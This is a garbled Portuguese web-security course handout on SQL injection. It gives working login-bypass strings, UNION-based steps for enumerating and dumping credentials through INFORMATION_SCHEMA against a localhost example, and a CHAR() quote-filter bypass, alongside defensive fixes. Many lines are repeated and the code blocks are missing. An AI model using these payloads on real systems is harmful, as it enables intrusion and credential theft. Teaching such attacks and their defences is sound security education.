Quando foi feito a comparação de SQL Injection com Cross-Site-Scripting, foi puramente levando em consideração o número de ocorrências. Porém, se formos levar em conta o impacto resultante, a vulnerabilidade de SQL Injection é incomparavelmente mais crítica que as falhas de XSS. Isto porque através das falhas de SQL Injection é possível tomar controle total do banco de dados e, dependendo das características e permissões do banco de dados, obter controle do servidor e da rede inteira.

Não muito diferente do XSS (e qualquer umas das falhas Web), a vulnerabilidade de SQL Injection ocorre pela má filtragem de dados fornecidos pelo usuário. Ela existe quando um dado que pode ser manipulada pelo usuário é repassado diretamente para um comando do banco de dados. Dessa forma, um usuário mal -intencionado consegue injetar caracteres especiais, alterando completamente a lógica da instrução original ou executando comandos arbitrários do Banco de Dados.

Em meados do ano de 2004, a vulnerabilidade de SQL Injection explodiu na Internet, e diversos administradores e programadores viram seus portais sendo invadidos e utilizados para fraudes financeiros, pichadores de páginas (defacers) etc. Isso ocorreu pelo modo mais simples de vulnerabilidade de SQL Injection, que consiste em inserir alguns caracteres especiais de maneira a autenticar em diversos sistemas.

especiais de maneira a autenticar em diversos sistemas. Página 20 Curso de Extensão Tecnológica de Segurança
especiais de maneira a autenticar em diversos sistemas. Página 20 Curso de Extensão Tecnológica de Segurança

3.2.1 Primeiro Exemplo Formulário de Acesso

Para fins de demonstração nos exemplos de controle de acesso será utilizado o seguin te formulário HTML:

de acesso será utilizado o seguin te formulário HTML: Com isto, vamos ao primeiro, mais simples
de acesso será utilizado o seguin te formulário HTML: Com isto, vamos ao primeiro, mais simples

Com isto, vamos ao primeiro, mais simples e mais vulnerável método de validação de acesso que receba os dados deste formulário, verifica se existe no banco e, valida o acesso.

formulário, verifica se existe no banco e, valida o acesso. Curso de Extensão Tecnológica de Segurança
formulário, verifica se existe no banco e, valida o acesso. Curso de Extensão Tecnológica de Segurança
O código é comum à maioria dos desenvolvedores. Inicia lmente ele verifica se n ão

O código é comum à maioria dos desenvolvedores. Inicia lmente ele verifica se n ão foi passado algum campo em branco (linhas 5-8). Em seguida ele monta um comando SQL que buscar os usuários que coincidem com os campos passados no formulário (linhas 13-18), conecta ao banco (linha 21), executa o comando SQL pegando o recordset (linha 23) e valida o usuário se existiu algum registro que coincidiu com os dados fornecidos (linhas 26-33).

3.2.1.1 Método de Ataque

O principal problema neste código que torna a exploração desta falha extremamente simples ocorre pelo f ato do desenvolvedor verificar se houve “qualquer” registro resultante do comando SQL. Desta forma, um atacante consegue inserir caracteres especiais alterando a lógica da instrução SQL da seguinte forma:

Usuário: ' or ''=' Senha: ' or ''='

Assim, o comando SQL ficaria como segue:

or ''=' Assim, o comando SQL ficaria como segue: Repare que com as entradas especificadas é

Repare que com as entradas especificadas é possível alterar a lógica do comando SQL. Desta forma, a consulta que deveria retornar somente um registro se existisse acabou retornando todos os registros do banco de dados, retornan do como usuário o primeiro que for encontrado no banco (geralmente webmaster ou administrador).

encontrado no banco (geralmente webmaster ou administrador). Página 22 Curso de Extensão Tecnológica de Segurança
encontrado no banco (geralmente webmaster ou administrador). Página 22 Curso de Extensão Tecnológica de Segurança

O resultado da intrusão pode ser visto na figura abaixo:

O resultado da intrusão pode ser visto na figura abaixo: 3.2.1.2 – Primeira Proteção Ineficaz Como

3.2.1.2 Primeira Proteção Ineficaz

Como contramedida, diversos programadores utilizam de meios par a evitar esse tipo de ataque e criar uma camada extra de segurança. A primeira é verificar se o comando SQL retornou somente um registro, desta forma, esse ataque visto de inicio não surtiria efeito, porém com entradas SQL especificas é possível burlar esse mecanismo de proteção.

Veja um trecho de código que efetua essa verificação de quantidade de registros de retorno:

essa verificação de quantidade de registros de retorno: Porém, como ainda não é feito quaisquer tipo

Porém, como ainda não é feito quaisquer tipo de validação da entrada fornecida pelo usuário, um atacante poderia induzir a sua injeção de SQL a retornar somente 1 (um) único registro. Isto pode ser facilmente obtido através do parâmetro LIMIT dos comandos SQL. Um exemplo de entrada que burlaria esse “mecanismo” de proteção seria:

Usuário: ' or ''=' Senha: ' or ''='' LIMIT 1 --

Repare que houve uma modificação no campo senha do formulário. Esta modificação est á induzindo o comando SQL a retornar todos os registros (como anteriormente), porém limitando a consulta a apenas um único registro. Desta forma, o comando SQL resultante seria

o seguinte:

Desta forma, o comando SQL resultante seria o seguinte: Curso de Extensão Tecnológica de Segurança em
Desta forma, o comando SQL resultante seria o seguinte: Curso de Extensão Tecnológica de Segurança em
Desta forma, o comando SQL resultante seria o seguinte: Curso de Extensão Tecnológica de Segurança em

Além disto, se um atacante desejar acessar o sistema utilizando um usuário específico, o código de checagem não surtiria efeito algum como mecanismo de segurança. Um exemplo para acessar com um possível usuário maycon pode ser efetuado com as seguintes entradas:

Usuário: maycon' /* Senha: */ --

Desta forma, o comando SQL a ser executado seria como segue:

Desta forma, o comando SQL a ser executado seria como segue: Repare que foi inserido um

Repare que foi inserido um usuário maycon e logo após foi aberto um comentário de bloco, que foi fechado pelo campo senha e, como temos mais caracte res após este, foi inserido um comentário de linha, que ignora quaisquer caracteres subseqüentes a ele.

Utilizando a entrada especificada como ataque surtiria o seguinte efeito:

entrada especificada como ataque surtiria o seguinte efeito: Página 24 Curso de Extensão Tecnológica de Segurança
entrada especificada como ataque surtiria o seguinte efeito: Página 24 Curso de Extensão Tecnológica de Segurança
entrada especificada como ataque surtiria o seguinte efeito: Página 24 Curso de Extensão Tecnológica de Segurança

3.2.1.3 Segunda Proteção Ineficaz

Outro meio incorreto de proteger-se desse tipo de ataque é a validação da senha do usuário com a senha armazenada no banco de dados. Dessa forma, o usuário iria necessitar fornecer a senha que esteja compatível com o banco de dados. Este método pode ser visto no seguinte código:

de dados. Este método pode ser visto no seguinte código: Neste aspecto, temos dois meios de

Neste aspecto, temos dois meios de exploração, o primeiro seria inserir o primeiro injection visto no campo usuário e ir chutando senhas aleatórias, desta forma, o campo usuário seria ignorando e se a senha coincidir com a senha de qualquer usuário o mesmo seria utiliz ado para autenticação. O segundo seria induzir a senha, ou seja, bolar algum mecanismo para manipular a senha a fim de escolher qual senha utilizar.

Para o primeiro método, uma entrada como a seguinte seria satisfeita se existisse algum usuário com a senha 123456:

Usuário: ' or ''=' Senha: 123456

Ao inserir os valores citados nos campos, o comando SQL resultante seria o seguinte:

nos campos, o comando SQL resultante seria o seguinte: Desta forma, seria localizado qualquer registro com

Desta forma, seria localizado qualquer registro com senha 123456. Assim, um atacante experiente conseguiria desenvolver uma ferramenta de força bruta (do inglês Brute Force) que tentaria obter acesso com um dicionário de senhas padrões.

Outro método mais avançado de se obter acesso anulando o comando SQL original e gerando um novo comando SQL, induzindo assim qualquer senha que de sejar. Para isto, uma entrada mais complexa deve ser fornecido, veja:

Usuário: ' UNION SELECT 1,'hacker','login','*/ -- ' /* Senha: */ --

-- ' /* Senha: */ -- Curso de Extensão Tecnológica de Segurança em Web
-- ' /* Senha: */ -- Curso de Extensão Tecnológica de Segurança em Web

Assim, todo o comando SQL ficaria da seguinte forma:

Assim, todo o comando SQL ficaria da seguinte forma: Como notado, o comando padrão SQL não

Como notado, o comando padrão SQL não retorna nada e, através do comando UNION, foi gerado um segundo comando que retorna um registro de constantes, tendo as seguintes

colunas:

Id: 1 Nome: hacker Login: login Senha: */ --

Então, definimos a senha no novo registro como a mesma definida no formulário HTML, tendo

o seguinte resultado no navegador:

formulário HTML, tendo o seguinte resultado no navegador: Repare que todos os ataques à SQL Injection

Repare que todos os ataques à SQL Injection até então demonstrados se baseiam em utilizar caracteres especiais do SQL. Dentre esses caracteres, o presente em todos os exemplos é a aspas-simples, que no SQL é utilizado como delimitador de cadeira de caractere ( string). Com isto, diversos programadores protegem seus códigos desses caracteres, às vezes removendo- os quando for passar um desses parâmetros para um comando SQL ou simplesmente aplicado

o chamado escape.

3.2.1.4 Terceira Proteção do Primeiro Exemplo (Eficiente?)

No PHP, existe uma função que faz o trabalho de ‘escapar’ o texto de maneira a passá-lo como parâmetro em uma comando SQL. Esta função é a addslashed() e possui o seguinte protótipo:

string addslashes ( string $str )

Basicamente, ela escapa (insere uma barra invertida) os caracteres que podem causar riscos aos Bancos de Dados, que são aspas simples (‘), aspas duplas (“), barra invertida ( \) e o caractere nulo (NUL).

Se aplicarmos a função addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue:

SQL passado para o Banco de Dados ficaria como segue: Página 26 Curso de Extensão Tecnológica
SQL passado para o Banco de Dados ficaria como segue: Página 26 Curso de Extensão Tecnológica
Por mais que se tente explorar o código, este é o melhor modo de se

Por mais que se tente explorar o código, este é o melhor modo de se proteger de SQL Injection em campos alfanuméricos. Veja o código final como fica:

Se aplicarmos a função addslashes() em nosso ultimo exemplo, o comando SQL passado para o Banco de Dados ficaria como segue:

SQL passado para o Banco de Dados ficaria como segue: Repare que se aplicarmos corretamente a

Repare que se aplicarmos corretamente a função addslashes() até mesmo o primeiro exemplo não estaria vulnerável, pois um atacante não conseguiria manipul ar a lógica dos comandos SQL.

não conseguiria manipul ar a lógica dos comandos SQL. Curso de Extensão Tecnológica de Segurança em
não conseguiria manipul ar a lógica dos comandos SQL. Curso de Extensão Tecnológica de Segurança em

3.2.2 Segundo Exemplo (Ajax + Variáveis Numéricas)

É importante ressaltar que o ultimo código está livre de SQL Injection, porém nele ainda é possível notar duas falhas de segurança que serão vistas em capítulos adiantes.

Como dito anteriormente, o a utilização da função addslashes() é útil quando trabalhamos com variáveis alfanuméricas. O grande problema, é que programadores não sabem ou não se importam com variáveis numéricas que podem ser manipuladas por um usuário atacante.

No inicio desde capítulo, foi comparado o grau de ocorrência da falha de SQL Injection com a falha de Cross-Site-Scripting, defendendo a lógica de que ambas se equivalem quanto à ocorrência nas aplicações web. Os métodos de ataques à SQL Injection visto até agora já são praticamente escassos na internet, porém, os próximos métodos de exploração descritos são tão comuns na Internet que, ao conhecê -los, percebe -se o quão a gigante rede de computadores está a mercê de pessoas mal-intencionadas.

Uma ocorrência extremamente encontrada na Internet é semelhante ao próximo exemplo, já que a tecnologia Ajax (Asynchronous Javascript and XML) é tão difundida e utilizada na internet de maneira a aumentar a acessibilidade com o usuário porém sem pesar na mesma balanças aspectos que nos diz respeito a segurança.

mesma balanças aspectos que nos diz respeito a segurança. Página 28 Curso de Extensão Tecnológica de
mesma balanças aspectos que nos diz respeito a segurança. Página 28 Curso de Extensão Tecnológica de

Vejamos o seguinte código:

Vejamos o seguinte código: Ele consiste em um simples formulário dinâmico, onde ao selecione o campo

Ele consiste em um simples formulário dinâmico, onde ao selecione o campo select com um determinado ano, será carregado os veículos desde ano no segundo select. É possível notar que a requisição solicitando os veículos é feito ao arquivo buscaModelo.php que possui o seguinte código:

ao arquivo buscaModelo.php que possui o seguinte código: O arquivo HTML em funcionamento pode ser visto

O arquivo HTML em funcionamento pode ser visto na figura abaixo:

HTML em funcionamento pode ser visto na figura abaixo: Curso de Extensão Tecnológica de Segurança em
HTML em funcionamento pode ser visto na figura abaixo: Curso de Extensão Tecnológica de Segurança em
3.2.2.1 – Ferramenta Auxiliar (FireBug) Quando trabalhamos com submissões que não são visíveis, ou seja,

3.2.2.1 Ferramenta Auxiliar (FireBug)

Quando trabalhamos com submissões que não são visíveis, ou seja, não aparecem na URL ou são feitas pelo método HTTP-POST, é necessário de alguma forma interceptá-las. Para isto, recomendo a utilização da ferramenta FireBug e Web Developer, disponíveis para o navegador Mozilla Firefox. Com o FireBug é possível descobrir como estão sendo feitas as submissões ao servidor, além de poder manipular os elementos da página e analisar os scripts envolvidos. Com o Web Developer, é possível tem um total controle dos formulários, cookies, Javascript dentre outros.

Para instalação dos componentes no Firefox, basta selecion a-se o menu Ferramentas Complementos e localizar pelas respectivas extensões na guia de instalação:

pelas respectivas extensões na guia de instalação: Com os complementos instalados, podemos utilizar para

Com os complementos instalados, podemos utilizar para auxiliar em nosso processo de auditoria da aplicação.

É importante ressaltar que existem dois métodos para ser localizar e neutralizar as vulnerabilidades em uma aplicação. Uma delas é a auditoria de código, onde temos acesso ao código-fonte e através da leitura do mesmo e com o auxilio de algumas ferramentas encontram-se os pontos fracos, dando o nome de auditoria de código. A outra é através da aplicação, onde a partir da visão do usuário (ou atacante), tenta-se levantar os possíveis vetores de ataques e então parte-se para os ataques em si, visando obter sucesso. A essa última dar-se o nome de teste de intrusão ( pen-test penetration test).

de teste de intrusão ( pen-test – penetration test ). Página 30 Curso de Extensão Tecnológica
de teste de intrusão ( pen-test – penetration test ). Página 30 Curso de Extensão Tecnológica

Com os complementos instalados, podemos notá-los através da barra de ferramentas do Web Developer e com o ícone do FireBug na bandeja do navegador.

Ao selecionar um ano em um dos selects, através do FireBug é possível observar a requisição feita ao servidor:

é possível observar a requisição feita ao servidor: Então, basta copiar o endereço clicando com o

Então, basta copiar o endereço clicando com o botão direito no item da requisição e selecionando Copiar Localização. A partir daí basta colá-lo na barra de endereço para acessá-lo diretamente.

colá-lo na barra de endereço para acessá-lo diretamente. Vemos então o item que foi adicionado à

Vemos então o item que foi adicionado à outra listagem (modelo). É importante ressaltar que, apesar do retorno ter sido em texto puro e a requisição ter sido através Ajax, o conceito se aplicação a qualquer tipo de retorno, como XML; e a qualquer tipo de meio de submissão, como formulários POST e banners de Flash.

Existem diversas maneiras de identificar um possível vetor de ataque. Dependendo da configuração do servidor, uma simples entrada mal -formatada ou com caracteres específicos

Estou vulnerável!”. Porém, em alguns casos é

necessário analisar algumas respostas do servidor para verificar a vulnerabilidades.

fazem a aplicação praticamente gritar “Pultz

No exemplo anterior, ao adicionar uma aspa simples à variável de URL ano, nota-se que não houve qualquer mensagem de erro do servidor, o que para muitos seria a conclusão de que o

do servidor, o que para muitos seria a conclusão de que o Curso de Extensão Tecnológica
do servidor, o que para muitos seria a conclusão de que o Curso de Extensão Tecnológica

mesmo não está vulnerável. Porém ao adicionarmos algumas informações específicas, temos uma resposta um tanto quanto curiosa, vejamos alguns exemplos:

resposta um tanto quanto curiosa, vejamos alguns exemplos: Repare que os três valores passados possuem uma
resposta um tanto quanto curiosa, vejamos alguns exemplos: Repare que os três valores passados possuem uma
resposta um tanto quanto curiosa, vejamos alguns exemplos: Repare que os três valores passados possuem uma

Repare que os três valores passados possuem uma característica em comum:

1953-1 = 3914/2 = sqrt(3810304) = 1952

Os três valores representam o registro do ano 1952 ( Ferrari 250 S Vignale Coupe), o que confirma a vulnerabilidade, visto que o valor fornecido à variável está sendo repassada diretamente para a consulta SQL. Tendo um possível vetor de ataque, agora basta passar para o processo de exploração.

ataque, agora basta passar para o processo de exploração. Página 32 Curso de Extensão Tecnológica de
ataque, agora basta passar para o processo de exploração. Página 32 Curso de Extensão Tecnológica de

3.2.2.2 - Utilizando o INFORMATION_SCHEMA

Muitos bancos de dados possuem recursos realmente úteis, porém ao se dizer que um recurso é útil para o desenvolvedor, pode-se dizer que o mesmo também é extremamente útil para um atacante. Um exemplo clássico disto é a representação de toda a sua estrutura interna em um Banco de Dados chamado INFORMATION_SCHEMA, e esse sempre foi um dos melhores amigos de muitos atacantes.

A INFORMATION_SCHEMA possui tudo relacionado ao Banco de Dados em uma estrutura relacional, como tabelas, campos, triggers, views, privilégios etc. Vejamos sua estrutura relacional:

views , privilégios etc. Vejamos sua estrutura relacional: Porém, para um atacante, somente duas tabelas são

Porém, para um atacante, somente duas tabelas são fundamentais a TABLES e a COLUMNS que possuem a seguinte estrutura:

a TABLES e a COLUMNS que possuem a seguinte estrutura: Curso de Extensão Tecnológica de Segurança
a TABLES e a COLUMNS que possuem a seguinte estrutura: Curso de Extensão Tecnológica de Segurança
Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS
Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS

Repare que a tabela TABLES possui um campo chamado TABLE_NAME e que a tabela COLUMNS possui um campo COLUMN_NAME e um campo TABLE_NAME. Com isto, é possível obter a estrutura interna inteira do Banco de Dados através de uma simples vulnerabilidade.

Para o nosso exemplo vulnerável, inicialmente necessitamos sabe como está organizado o comando SQL original. Através do código sabemos isto, porém em um ambiente hostil (na selva) isso não ocorre.

3.2.2.3 Descobrindo o Número de Colunas

A primeira coisa que necessitamos saber é a quantidade de colunas que a consulta SQL principal retorna. Para isto, podemos fazer por força bruta, adicionando coluna por coluna em uma sub- consulta até ele executar o comando com sucesso. Um exemplo seria as seguintes tentativas:

ano=0 UNION SELECT 1 (Erro)

ano=0 UNION SELECT 1,2 (Erro)

ano=0 UNION SELECT 1,2,3 (Erro)

ano=0 UNION SELECT 1,2,3,

,100

(Sucesso)

Porém isto seria extremamente exaustivo em uma consulta com 50 itens ou mais, já que seria necessário testar todos os valores até a quantidade correta.

testar todos os valores até a quantidade correta. Página 34 Curso de Extensão Tecnológica de Segurança
testar todos os valores até a quantidade correta. Página 34 Curso de Extensão Tecnológica de Segurança

Outra maneira mais recomendada seria através de uma tentativa de ordenação pelo índice da coluna, já que assim podemos achar a quantidade de colunas em uma ordem de tempo binária (semelhante à busca binária). Não binária de 0s e 1s, mas sim binário que a divisão seria feita sempre pela metade, ou seja, seria possível achar a quantidade de colunas em muito menos tempo (menos da metade) que o método anterior. Veja:

campo=0 ORDER BY 100 (Erro)

campo=0 ORDER BY 50 (Erro)

campo =0 ORDER BY 25 (Erro)

campo =0 ORDER BY 12 (Sucesso)

campo =0 ORDER BY 20 (Sucesso)

campo =0 ORDER BY 23 (Erro)

campo =0 ORDER BY 21 (Sucesso)

campo =0 ORDER BY 22 (Erro)

Desta forma, sabemos que se colocarmos um índice maior do que o número de colunas gerará um erro, caso contrário, o comando será executado com sucesso. Assim, colocamos inicialmente um numero grande (como 100) e vemos que gerou o erro, desta forma, vamos quebrando o número pela metade até ter sucesso na execução. No exemplo, ordenando pelo número 25 tivermos erro e ao ordenar com o numero 12 não tivemos. Isto significa que o número de colunas está no intervalo de 12 à 25 (inclusive 12).

Ao irmos executado os passos, chegamos a um estado em que com 21 obtivemos sucesso na execução da consulta e que 22 gerou um erro. Desta forma, é possível concluir que a consulta possui exatas 21 colunas.

Vamos fazer os testes para o exemplo fornecido:

21 colunas. Vamos fazer os testes para o exemplo fornecido: Curso de Extensão Tecnológica de Segurança
21 colunas. Vamos fazer os testes para o exemplo fornecido: Curso de Extensão Tecnológica de Segurança
21 colunas. Vamos fazer os testes para o exemplo fornecido: Curso de Extensão Tecnológica de Segurança
Assim, pode -se concluir que o código possui exatas duas colunas em sua consulta SQL.
Assim, pode -se concluir que o código possui exatas duas colunas em sua consulta SQL.
Assim, pode -se concluir que o código possui exatas duas colunas em sua consulta SQL.

Assim, pode -se concluir que o código possui exatas duas colunas em sua consulta SQL.

3.2.2.4 Obtendo colunas visíveis

O próximo passo é identificar qual, dentre todas as colunas, são visíveis ao usuário. As sim saberemos quais colunas pode ser manipulados para a efetivação do ataque. Para isto, basta ligar outro comando SQL com duas colunas ao comando original, fazendo com que ele imprima os campos como se fizesse parte do resultado.

Acessando a seguinte URL obtêm-se o seguinte resultado:

http://localhost/AtaquesWeb/buscaModelo.php?ano=-1%20UNION%20SELECT%201,2

Página 36 Curso de Extensão Tecnológica de Segurança
Página 36 Curso de Extensão Tecnológica de Segurança
Página 36 Curso de Extensão Tecnológica de Segurança

3.2.2.5

Localizando Tabelas Necessárias

É possível notar que ambas as colunas são visíveis. O próximo passo é utilizar os benefícios das tabelas TABLES e COLUMNS para saber quais são as tabelas e campos do Banco de Dados. Veja como um atacante pode tirar proveito delas para a obtenção dos dados para acessar o sistema:

delas para a obtenção dos dados para acessar o sistema: http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION

http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT TABLE_NAME,2 FROM INFORMATION_SCHEMA.TABLES

Repare que na listagem aparecem todas as tabelas do sistema e, dentre elas, a tabela que contem os usuários (tblusuarios) do exemplo da tela apresentado anteriormente .

3.2.2.6 Descobrindo o Nome das Colunas

Tendo o nome da tabela, o próximo passo é obter o nome dos campos que ela possue. Isto pode ser feito através da tabela COLUMNS, buscando os nomes das colunas ( COLUMN_NAME)

da tabela que possue o nome (TABLE_NAME) tblusuarios, utilizando a seguinte URL:

http://localhost/AtaquesWeb/buscaModelo.php?ano=-1

FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tblusuarios'

UNION

SELECT

COLUMN_NAME,2

Tanto antes quanto agora foi necessário especificar em Banco de Dados (schemata) estamos buscando as tabelas. No caso isso é feito através do casamento SCHEMA.TABELA, no caso o schema que foi utilizado foi o INFORMATION_SCHEMA que, como dito antes, armazenar informações da estrutura interna do banco de dados.

A URL informada anteriormente lista os campos da tabela tlbusuario e possui a se guinte resposta:

campos da tabela tlbusuario e possui a se guinte resposta: Curso de Extensão Tecnológica de Segurança
campos da tabela tlbusuario e possui a se guinte resposta: Curso de Extensão Tecnológica de Segurança
campos da tabela tlbusuario e possui a se guinte resposta: Curso de Extensão Tecnológica de Segurança

Com isto, sabemos que temos uma tabela com nome tblusuario que possui os campos id, nome, usuário e senha.

3.2.2.7 Efetuando o Ataque

Agora basta efetuar o ataque utilizando a informações que obtivemos. Com isto, para listar os usuários e senhas do banco de dados basta acessar a seguinte URL:

http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT usuario,senha FROM tblusuarios

Que teremos a seguinte resposta:

FROM tblusuarios Que teremos a seguinte resposta: De maneira mais organizada, o que a exploração nos

De maneira mais organizada, o que a exploração nos retornou foi o seguinte:

Usuário

Senha

admin

123456

maycon

chuck

Pode parecer que não, mas é impressionante como existem milhares de portais e sistemas web com o mesmo vetor de vetor de vulnerabilidade. Portais que possuem informações de clientes, informações de cartões de créditos dentre outras coisas que um administrador ou um usuário não desejariam que caísse em mãos erradas estão realmente vulneráveis a esse tipo de falha, o que torna a possibilidade de ataque uma questão de tempo.

No exemplo anterior, foi necessária a utilização das aspas para sucesso no ataque, pois se m elas não seria possível (veremos que não é bem assim) definir qual tabela estamos procurando os campos. É claro que poderíamos relacionar as duas tabelas e selecionar pelo índice do registro da tabela, porém tornaria o comando de injection bastante complexo e, no final, acabaríamos esbarrando em algum outro empecilho.

Um programador pouco experiente em segurança possui conhecimento básico do primeiro método utilizado e, para ‘proteger’ seus códigos filtra todos os campos que serão passados para uma consulta SQL das aspas simples. De uma maneira geral, um programador que entenda o básico de SQL Injection ficaria com uma falsa segurança fazendo o seguinte código:

ficaria com uma falsa segurança fazendo o seguinte código: Página 38 Curso de Extensão Tecnológica de
ficaria com uma falsa segurança fazendo o seguinte código: Página 38 Curso de Extensão Tecnológica de
Porém, como estamos executando comand os no Banco de Dados, temos acesso às funções internas

Porém, como estamos executando comand os no Banco de Dados, temos acesso às funções internas do mesmo. Dentre as funções estão às funções algébricas, funções de formatação, funções de administração do BD, funções de tratamento de textos entre outras categorias.

Como podemos executar tais funçõ es, basta ver qual recurso o banco de dados nos oferece para driblar esse mecanismo de proteção. O meio mais simples de fazer isto, seria através da função CHAR() que, a partir de uma lista de valores ASCII retorna o texto resultante dos caracteres.

No caso anterior, foi passado o valor tblusuario para a consulta. Em forma ASCII, cada uma das letras pode ser visto na tabela abaixo:

Letra

t

b

l

u

s

u

a

r

i

o

s

ASCII

116

98

108

117

115

117

97

114

105

111

115

Formando, então, a seguinte representação através da função CHAR():

http://localhost/AtaquesWeb/buscaModelo.php?ano=-1 UNION SELECT COLUMN_NAME,2 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=CHAR(116, 98, 108, 117, 115, 117, 97, 114, 105, 111, 115)

Esse exemplo foi específico para o SGBD MySQL, porém qualquer banco de dados descente possui função semelhante.

Para se proteger desse tipo de vulnerabilidade, segue-se o mesmo conceito de sempre: Ao invés de procurar ver se o usuário está fornecendo algum dado maléfico, faça com que ele forneça somente o que você necessita.

Com isto, no exemplo anterior, analisamos que a variável em questão é estritamente numérica. Portanto, basta verificar se o valor fornecido pelo usuário é numérico ou não. Cada linguagem possui um recurso para isto. No caso do PHP, isto pode ser feito através da função is_numeric() que possui a seguinte definição:

função is_numeric() que possui a seguinte definição: bool is_numeric ( mixed $var ) Curso de Extensão
função is_numeric() que possui a seguinte definição: bool is_numeric ( mixed $var ) Curso de Extensão
função is_numeric() que possui a seguinte definição: bool is_numeric ( mixed $var ) Curso de Extensão

Esta função simplesmente retorna true se o parâmetro fornecido for numérico ou false caso contrário. Desta forma, nosso código seguro ficaria da seguinte maneira:

forma, nosso código seguro ficaria da seguinte maneira: O exemplo fornecido foi feito através do método

O exemplo fornecido foi feito através do método GET por Ajax. Porém, em alguns casos os

dados são enviados por métodos POST o que torna impossível enviar informações que gerem um Injection simplesmente alterando uma variável da URL. Para isto, existem duas maneiras

de se testar o Injection. A primeira é criar um formulário com os mesmo nomes de campos que

o formulário original e com o mesmo destino. Porém, é possível no servidor verificar se os

dados estão foram fornecidos do mesmo servi dor ou de um servidor diferente (nunca vi isso em prática, porém é possível). A outra maneira seria utilizar a ferramenta Web Developer

citada anteriormente para conversão e manipulação dos campos do formulário. Assim, é possível converter campos select, campos hidden e campos option em campos do tipo text para que sua manipulação seja direta.

No exemplo anterior, se os dados fossem enviados por método POST para o destino, bastaria selecionar o item Convert Select Elements To Tex t Inputs no menu Forms da barra de ferramentas do Web Developer no Firefox:

Forms da barra de ferramentas do Web Developer no Firefox: Página 40 Curso de Extensão Tecnológica
Forms da barra de ferramentas do Web Developer no Firefox: Página 40 Curso de Extensão Tecnológica
E com isto podemos aplica diretamente os dados do Injection de maneira prática, simples e

E com isto podemos aplica diretamente os dados do Injection de maneira prática, simples e livre de qualquer dor de cabeça que venhamos a ter, como a validação do endereço de referência, a falta de dados no formulário, nome de campos errados, a falta de sessão etc.

formulário, nome de campos errados, a falta de sessão etc. Dependendo do Banco de Dados utilizado

Dependendo do Banco de Dados utilizado pela aplicação, alguns recursos permitem a um atacante obter total controle do servidor. Um exemplo disto está na extensão cmd_shell presente nos Banco de Dados MS SQL Server da Microsoft que permite a um atacante executar um comando da Shell do servidor e, com isto, acessar o servidor, criar usuários, enviar e executar arquivos dente outras coisas que varia simplesmente de imaginação para imaginação.

3.2.7 - Conclusão

Mais uma vez tanto o conceito da vulnerabilidade quando do método preventivo se baseiam no mesmo aspecto de antes. A falha ocorre quando o programador confia nos dados fornecidos pelo usuário, levando em consideração que nenhuma entrada será mal intencionada, indo completamente contra a terminologia ensinada, de que “Toda entrada é mal intencionada até que se provem o contrário”. Com relação à prevenção, mais simples que isso impossível. Basta permitir que o usuário forneça apenas o que ele precisa fornecer, qualquer coisa diferente disto seria dito como ataque.

qualquer coisa diferente disto seria dito como ataque. Curso de Extensão Tecnológica de Segurança em Web
qualquer coisa diferente disto seria dito como ataque. Curso de Extensão Tecnológica de Segurança em Web

3.3. Execução de Arquivo Remoto (OWASP #3)

Comparado com as demais classes de vulnerabilidades até então vistas, a vulnerabilidade e Remote Execution (Execução Remota) é a que mais causa impacto tanto para a aplicação quanto para o servidor. Em uma falha de SQL Injection, um atacante mais experiente consegue, através de recursos do Banco de Dados, executar comandos no servidor. Porém, a falha de Execução de Arquivos remota infere diretamente nisto, permitindo de maneira simples executar e controlar completamente o servidor.

Quando se desenvolve aplicações ou se trabalha em empresas onde tempo é dinheiro, é muito comum exercer a pratica de produtividade acima de qualidade. Isto não está er rado, pois quanto mais rápido se produzir mais tempo terá para ganhar dinheiro com outra coisa. Porém, é comum vermos a filosofia de qualidade abaixo de tudo, ou o tão conhecido lema “se funciona não mecha”.

Tanto em ambiente Web quanto em qualquer outro meio tecnológico, as ferramentas surgem para aumentar a produtividade, muitas vezes utilizadas de maneira incorreta ou equivocadas.

No inicio, antes de surgir linguagens dinâmicas (somente HTML), todas as páginas deveriam ser feitas na mão, tendo que repetir diversas coisas em todos os arquivos (menu, cabeçalho, rodapé etc), o que dificultava muito a manutenção, já que ao adicionar um novo item de menu todos os arquivos deveriam ser atualizados.

Em seguida, surgiram os HTML frames, que permitia ao webdesigner separar as partes repetidas e simplesmente chamá-las do arquivo principal. Porém, esta pratica não agradavam muito, devido às limitações e má aparência que dava à página exercer essa prática. O que os levou a montar o leiaute da página utilizando tabelas e, mesmo assim repetir o conteúdo página por página.

Com o surgimento das linguagens dinâmicas para Web, diversas funções surgiram para auxiliar

a produtividade, uma delas foi o fato de se poder carregar no próprio servidor um arquivo e integrá-lo como se fizesse parte do arquivo que o está incluindo.

No PHP (linguagem adotada para este curso), está funcionalidade é obtida através das funções include(), include_once(), require() e require_once(). Todas recebem como parâmetro o nome do arquivo que se deseja incluir e funcionam praticamente da mesma forma. A única diferença

é que a função require mata o processamento caso ocorra algum erro durante a inclusão do

arquivo (ex: arquivo não existir). As variações que terminam com once são utilizadas quando se

deseja adicionar o arquivo somente uma vez, ou seja, se o arquivo que se está sendo incluído já estiver sido executado antes na mesma instancia do processo ele será ignorado, isto é utilizado para tratar dependência de arquivos e para evitar ciclos infinitos.

Uma característica importante dessas funções é que, ao incluir um novo arquivo ao arquivo corrente, caso no novo arquivo contenha alguma código Server-side (em nosso caso PHP) o mesmo será executado.

Server-side (em nosso caso PHP) o mesmo será executado. Página 42 Curso de Extensão Tecnológica de
Server-side (em nosso caso PHP) o mesmo será executado. Página 42 Curso de Extensão Tecnológica de

3.3.1 Exemplo

Como exemplo, vamos criar um mini-sistema que utiliza os recursos das funções visando produtividade. Ele consiste no arquivo principal, em um arquivo de cabeçalho, um arquivo de rodapé e arquivos que representam o conteúdo.

A aparência do exemplo é como segue:

o conteúdo. A aparência do exemplo é como segue: O conteúdo foi gerado utilizando a ferramenta

O conteúdo foi gerado utilizando a ferramenta Loren Ipsum [http://pt.lipsum.com/ ] já

bastante conhecida entre os WebDesigners, entretanto isto não vem ao caso. O fundamental é

a forma com que o site foi construído. Portanto, vejamos o seu arquivo principal:

